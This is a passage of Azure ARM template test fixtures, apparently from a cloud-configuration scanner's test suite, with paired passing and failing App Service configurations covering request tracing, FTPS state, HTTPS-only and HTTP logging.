parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/config", "apiVersion": "2022-09-01", "name": "passed", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "numberOfWorkers": 1, "defaultDocuments": [ "Default.htm", "Default.html", "Default.asp", "index.htm", "index.html", "iisstart.htm", "default.aspx", "index.php", "hostingstart.html" ], "netFrameworkVersion": "v8.0", "phpVersion": "5.6", "requestTracingEnabled": true, "requestTracingExpirationTime": "9999-12-31T23:59:00Z", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "VS2019", "httpLoggingEnabled": true, "acrUseManagedIdentityCreds": false, "logsDirectorySizeLimit": 25, "detailedErrorLoggingEnabled": true, "publishingUsername": "$pike", "scmType": "None", "use32BitWorkerProcess": true, "webSocketsEnabled": false, "alwaysOn": true, "managedPipelineMode": "Integrated", "virtualApplications": [ { "virtualPath": "/", "physicalPath": "site\\wwwroot", "preloadEnabled": true } ], "loadBalancing": "LeastRequests", "experiments": { "rampUpRules": [] }, "autoHealEnabled": false, "vnetRouteAllEnabled": false, "vnetPrivatePortsCount": 0, "publicNetworkAccess": "Enabled", "localMySqlEnabled": false, "managedServiceIdentityId": 24556, "ipSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictionsUseMain": false, "http20Enabled": true, "minTlsVersion": "1.2", "scmMinTlsVersion": "1.2", "ftpsState": "FtpsOnly", "preWarmedInstanceCount": 0, "elasticWebAppScaleLimit": 0, "healthCheckPath": "/health", "functionsRuntimeScaleMonitoringEnabled": false, "minimumElasticInstanceCount": 0, "azureStorageAccounts": { "shady": { "type": "AzureFiles", "accountName": "piketest", "shareName": "pike", "mountPath": "\\\\mounts\\shady" } } } }, { "type": "Microsoft.Web/sites/hostNameBindings", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "siteName": "pike", "hostNameType": "Verified" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceEnabledFailedRequest/AppServiceEnableFailedRequest-failed.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sites_pike_name": { "defaultValue": "pike", "type": "String" }, "serverfarms_example_serviceplan_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "[parameters('sites_pike_name')]", "location": "UK South", "kind": "app,linux", "identity": { "type": "SystemAssigned" }, "properties": { "enabled": true, "hostNameSslStates": [ { "name": "[concat(parameters('sites_pike_name'), '.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Standard" }, { "name": "[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Repository" } ], "serverFarmId": "[parameters('serverfarms_example_serviceplan_externalid')]", "reserved": true, "isXenon": false, "hyperV": false, "vnetRouteAllEnabled": false, "vnetImagePullEnabled": false, "vnetContentShareEnabled": false, "siteConfig": { "numberOfWorkers": 1, "acrUseManagedIdentityCreds": false, "alwaysOn": false, "http20Enabled": true, "functionAppScaleLimit": 0, "minimumElasticInstanceCount": 0 }, "scmSiteAlsoStopped": false, "clientAffinityEnabled": false, "clientCertEnabled": true, "clientCertMode": "Required", "hostNamesDisabled": false, "customDomainVerificationId": "B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5", "containerSize": 0, "dailyMemoryTimeQuota": 0, "httpsOnly": true, "redundancyMode": "None", "storageAccountRequired": false, "keyVaultReferenceIdentity": "SystemAssigned" } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/ftp')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/scm')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/config", "apiVersion": "2022-09-01", "name": "failed", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "numberOfWorkers": 1, "defaultDocuments": [], "netFrameworkVersion": "v4.0", "requestTracingEnabled": false, "requestTracingExpirationTime": "9999-12-31T23:59:00Z", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "VS2019", "httpLoggingEnabled": true, "acrUseManagedIdentityCreds": false, "logsDirectorySizeLimit": 25, "detailedErrorLoggingEnabled": true, "publishingUsername": "$pike", "scmType": "None", "use32BitWorkerProcess": false, "webSocketsEnabled": false, "alwaysOn": false, "managedPipelineMode": "Integrated", "virtualApplications": [ { "virtualPath": "/", "physicalPath": "site\\wwwroot", "preloadEnabled": false } ], "loadBalancing": "LeastRequests", "experiments": { "rampUpRules": [] }, "autoHealEnabled": false, "vnetRouteAllEnabled": false, "vnetPrivatePortsCount": 0, "cors": { "supportCredentials": false }, "localMySqlEnabled": false, "managedServiceIdentityId": 484, "ipSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictionsUseMain": false, "http20Enabled": true, "minTlsVersion": "1.2", "scmMinTlsVersion": "1.2", "ftpsState": "FtpsOnly", "preWarmedInstanceCount": 0, "elasticWebAppScaleLimit": 0, "healthCheckPath": "/health", "functionsRuntimeScaleMonitoringEnabled": false, "minimumElasticInstanceCount": 0, "azureStorageAccounts": { "shady": { "type": "AzureFiles", "accountName": "piketest", "shareName": "pike", "mountPath": "/mount/shady" } } } }, { "type": "Microsoft.Web/sites/hostNameBindings", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "siteName": "pike", "hostNameType": "Verified" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceEnabledFailedRequest/AppServiceEnableFailedRequest-passed.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sites_pike_name": { "defaultValue": "pike", "type": "String" }, "serverfarms_example_serviceplan_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "[parameters('sites_pike_name')]", "location": "UK South", "kind": "app,linux", "identity": { "type": "SystemAssigned" }, "properties": { "enabled": true, "hostNameSslStates": [ { "name": "[concat(parameters('sites_pike_name'), '.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Standard" }, { "name": "[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Repository" } ], "serverFarmId": "[parameters('serverfarms_example_serviceplan_externalid')]", "reserved": true, "isXenon": false, "hyperV": false, "vnetRouteAllEnabled": false, "vnetImagePullEnabled": false, "vnetContentShareEnabled": false, "siteConfig": { "numberOfWorkers": 1, "acrUseManagedIdentityCreds": false, "alwaysOn": false, "http20Enabled": true, "functionAppScaleLimit": 0, "minimumElasticInstanceCount": 0 }, "scmSiteAlsoStopped": false, "clientAffinityEnabled": false, "clientCertEnabled": true, "clientCertMode": "Required", "hostNamesDisabled": false, "customDomainVerificationId": "B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5", "containerSize": 0, "dailyMemoryTimeQuota": 0, "httpsOnly": true, "redundancyMode": "None", "storageAccountRequired": false, "keyVaultReferenceIdentity": "SystemAssigned" } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/ftp')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/scm')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/config", "apiVersion": "2022-09-01", "name": "passed", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "numberOfWorkers": 1, "defaultDocuments": [], "netFrameworkVersion": "v4.0", "requestTracingEnabled": true, "requestTracingExpirationTime": "9999-12-31T23:59:00Z", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "VS2019", "httpLoggingEnabled": true, "acrUseManagedIdentityCreds": false, "logsDirectorySizeLimit": 25, "detailedErrorLoggingEnabled": true, "publishingUsername": "$pike", "scmType": "None", "use32BitWorkerProcess": false, "webSocketsEnabled": false, "alwaysOn": false, "managedPipelineMode": "Integrated", "virtualApplications": [ { "virtualPath": "/", "physicalPath": "site\\wwwroot", "preloadEnabled": false } ], "loadBalancing": "LeastRequests", "experiments": { "rampUpRules": [] }, "autoHealEnabled": false, "vnetRouteAllEnabled": false, "vnetPrivatePortsCount": 0, "cors": { "supportCredentials": false }, "localMySqlEnabled": false, "managedServiceIdentityId": 484, "ipSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictionsUseMain": false, "http20Enabled": true, "minTlsVersion": "1.2", "scmMinTlsVersion": "1.2", "ftpsState": "FtpsOnly", "preWarmedInstanceCount": 0, "elasticWebAppScaleLimit": 0, "healthCheckPath": "/health", "functionsRuntimeScaleMonitoringEnabled": false, "minimumElasticInstanceCount": 0, "azureStorageAccounts": { "shady": { "type": "AzureFiles", "accountName": "piketest", "shareName": "pike", "mountPath": "/mount/shady" } } } }, { "type": "Microsoft.Web/sites/hostNameBindings", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "siteName": "pike", "hostNameType": "Verified" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceFTPSState/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "fail", "properties": { "publisherEmail": "[parameters('adminEmail')]", "publisherName": "[parameters('organizationName')]", "customProperties": "[parameters('customProperties')]", "siteConfig": { "ftpsState": "Enabled" } }, "resources": [], "dependsOn": [] } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceFTPSState/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "fail2", "properties": { "publisherEmail": "[parameters('adminEmail')]", "publisherName": "[parameters('organizationName')]", "customProperties": "[parameters('customProperties')]", "siteConfig": {} }, "resources": [], "dependsOn": [] } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceFTPSState/fail3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "fail3", "properties": { "publisherEmail": "[parameters('adminEmail')]", "publisherName": "[parameters('organizationName')]", "customProperties": "[parameters('customProperties')]", "siteConfig": { "ftpsState": "Enabled", "appSettings": [ { "name": "WEBSITE_NODE_DEFAULT_VERSION", "value": "14.17.0" } ] }, "linuxFxVersion": "NODE|14-lts" }, "resources": [], "dependsOn": [] } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceFTPSState/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "pass", "properties": { "publisherEmail": "[parameters('adminEmail')]", "publisherName": "[parameters('organizationName')]", "customProperties": "[parameters('customProperties')]", "siteConfig": { "ftpsState": "Disabled" } }, "resources": [], "dependsOn": [] } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceFTPSState/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "pass2", "properties": { "publisherEmail": "[parameters('adminEmail')]", "publisherName": "[parameters('organizationName')]", "customProperties": "[parameters('customProperties')]", "siteConfig": { "ftpsState": "FtpsOnly" } }, "resources": [], "dependsOn": [] } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceFTPSState/pass3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "pass3", "properties": { "publisherEmail": "[parameters('adminEmail')]", "publisherName": "[parameters('organizationName')]", "customProperties": "[parameters('customProperties')]", "siteConfig": { "ftpsState": "Disabled", "appSettings": [ { "name": "WEBSITE_NODE_DEFAULT_VERSION", "value": "14.17.0" } ] }, "linuxFxVersion": "NODE|14-lts" }, "resources": [], "dependsOn": [] } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceHTTPSOnly/appServiceHTTPSOnly-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "[variables('webAppPortalName')]", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceHTTPSOnly/appServiceHTTPSOnly-FAILED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "[variables('webAppPortalName')]", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "SystemAssigned" }, "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" }, "clientCertEnabled": false, "httpsOnly": false } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceHTTPSOnly/appServiceHTTPSOnly-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "[variables('webAppPortalName')]", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "SystemAssigned" }, "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" }, "clientCertEnabled": true, "httpsOnly": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceHTTPSOnly/appServiceHTTPSOnly-PASSED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "[variables('webAppPortalName')]", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "SystemAssigned" }, "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" }, "clientCertEnabled": "true", "httpsOnly": "true" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceHttpLoggingEnabled/AppServiceHttpLoggingEnabled-failed.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sites_pike_name": { "defaultValue": "pike", "type": "String" }, "serverfarms_example_serviceplan_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "[parameters('sites_pike_name')]", "location": "UK South", "kind": "app,linux", "identity": { "type": "SystemAssigned" }, "properties": { "enabled": true, "hostNameSslStates": [ { "name": "[concat(parameters('sites_pike_name'), '.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Standard" }, { "name": "[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Repository" } ], "serverFarmId": "[parameters('serverfarms_example_serviceplan_externalid')]", "reserved": true, "isXenon": false, "hyperV": false, "vnetRouteAllEnabled": false, "vnetImagePullEnabled": false, "vnetContentShareEnabled": false, "siteConfig": { "numberOfWorkers": 1, "acrUseManagedIdentityCreds": false, "alwaysOn": false, "http20Enabled": true, "functionAppScaleLimit": 0, "minimumElasticInstanceCount": 0 }, "scmSiteAlsoStopped": false, "clientAffinityEnabled": false, "clientCertEnabled": true, "clientCertMode": "Required", "hostNamesDisabled": false, "customDomainVerificationId": "B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5", "containerSize": 0, "dailyMemoryTimeQuota": 0, "httpsOnly": true, "redundancyMode": "None", "storageAccountRequired": false, "keyVaultReferenceIdentity": "SystemAssigned" } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/ftp')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/scm')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/config", "apiVersion": "2022-09-01", "name": "failed", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "numberOfWorkers": 1, "defaultDocuments": [], "netFrameworkVersion": "v4.0", "requestTracingEnabled": false, "requestTracingExpirationTime": "9999-12-31T23:59:00Z", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "VS2019", "httpLoggingEnabled": false, "acrUseManagedIdentityCreds": false, "logsDirectorySizeLimit": 25, "detailedErrorLoggingEnabled": false, "publishingUsername": "$pike", "scmType": "None", "use32BitWorkerProcess": false, "webSocketsEnabled": false, "alwaysOn": false, "managedPipelineMode": "Integrated", "virtualApplications": [ { "virtualPath": "/", "physicalPath": "site\\wwwroot", "preloadEnabled": false } ], "loadBalancing": "LeastRequests", "experiments": { "rampUpRules": [] }, "autoHealEnabled": false, "vnetRouteAllEnabled": false, "vnetPrivatePortsCount": 0, "cors": { "supportCredentials": false }, "localMySqlEnabled": false, "managedServiceIdentityId": 484, "ipSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictionsUseMain": false, "http20Enabled": true, "minTlsVersion": "1.2", "scmMinTlsVersion": "1.2", "ftpsState": "FtpsOnly", "preWarmedInstanceCount": 0, "elasticWebAppScaleLimit": 0, "healthCheckPath": "/health", "functionsRuntimeScaleMonitoringEnabled": false, "minimumElasticInstanceCount": 0, "azureStorageAccounts": { "shady": { "type": "AzureBlob", "accountName": "piketest", "shareName": "pike", "mountPath": "/mount/shady" } } } }, { "type": "Microsoft.Web/sites/hostNameBindings", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "siteName": "pike", "hostNameType": "Verified" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceHttpLoggingEnabled/AppServiceHttpLoggingEnabled-failed2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sites_pike_name": { "defaultValue": "pike", "type": "String" }, "serverfarms_example_serviceplan_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "[parameters('sites_pike_name')]", "location": "UK South", "kind": "app,linux", "identity": { "type": "SystemAssigned" }, "properties": { "enabled": true, "hostNameSslStates": [ { "name": "[concat(parameters('sites_pike_name'), '.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Standard" }, { "name": "[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Repository" } ], "serverFarmId": "[parameters('serverfarms_example_serviceplan_externalid')]", "reserved": true, "isXenon": false, "hyperV": false, "vnetRouteAllEnabled": false, "vnetImagePullEnabled": false, "vnetContentShareEnabled": false, "siteConfig": { "numberOfWorkers": 1, "acrUseManagedIdentityCreds": false, "alwaysOn": false, "http20Enabled": true, "functionAppScaleLimit": 0, "minimumElasticInstanceCount": 0 }, "scmSiteAlsoStopped": false, "clientAffinityEnabled": false, "clientCertEnabled": true, "clientCertMode": "Required", "hostNamesDisabled": false, "customDomainVerificationId": "B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5", "containerSize": 0, "dailyMemoryTimeQuota": 0, "httpsOnly": true, "redundancyMode": "None", "storageAccountRequired": false, "keyVaultReferenceIdentity": "SystemAssigned" } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/ftp')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/scm')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/config", "apiVersion": "2022-09-01", "name": "failed2", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "numberOfWorkers": 1, "defaultDocuments": [], "netFrameworkVersion": "v4.0", "requestTracingEnabled": false, "requestTracingExpirationTime": "9999-12-31T23:59:00Z", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "VS2019", "acrUseManagedIdentityCreds": false, "logsDirectorySizeLimit": 25, "publishingUsername": "$pike", "scmType": "None", "use32BitWorkerProcess": false, "webSocketsEnabled": false, "alwaysOn": false, "managedPipelineMode": "Integrated", "virtualApplications": [ { "virtualPath": "/", "physicalPath": "site\\wwwroot", "preloadEnabled": false } ], "loadBalancing": "LeastRequests", "experiments": { "rampUpRules": [] }, "autoHealEnabled": false, "vnetRouteAllEnabled": false, "vnetPrivatePortsCount": 0, "cors": { "supportCredentials": false }, "localMySqlEnabled": false, "managedServiceIdentityId": 484, "ipSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictionsUseMain": false, "http20Enabled": true, "minTlsVersion": "1.2", "scmMinTlsVersion": "1.2", "ftpsState": "FtpsOnly", "preWarmedInstanceCount": 0, "elasticWebAppScaleLimit": 0, "healthCheckPath": "/health", "functionsRuntimeScaleMonitoringEnabled": false, "minimumElasticInstanceCount": 0, "azureStorageAccounts": { "shady": { "type": "AzureBlob", "accountName": "piketest", "shareName": "pike", "mountPath": "/mount/shady" } } } }, { "type": "Microsoft.Web/sites/hostNameBindings", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]", "location": "UK South", "dependsOn": [ 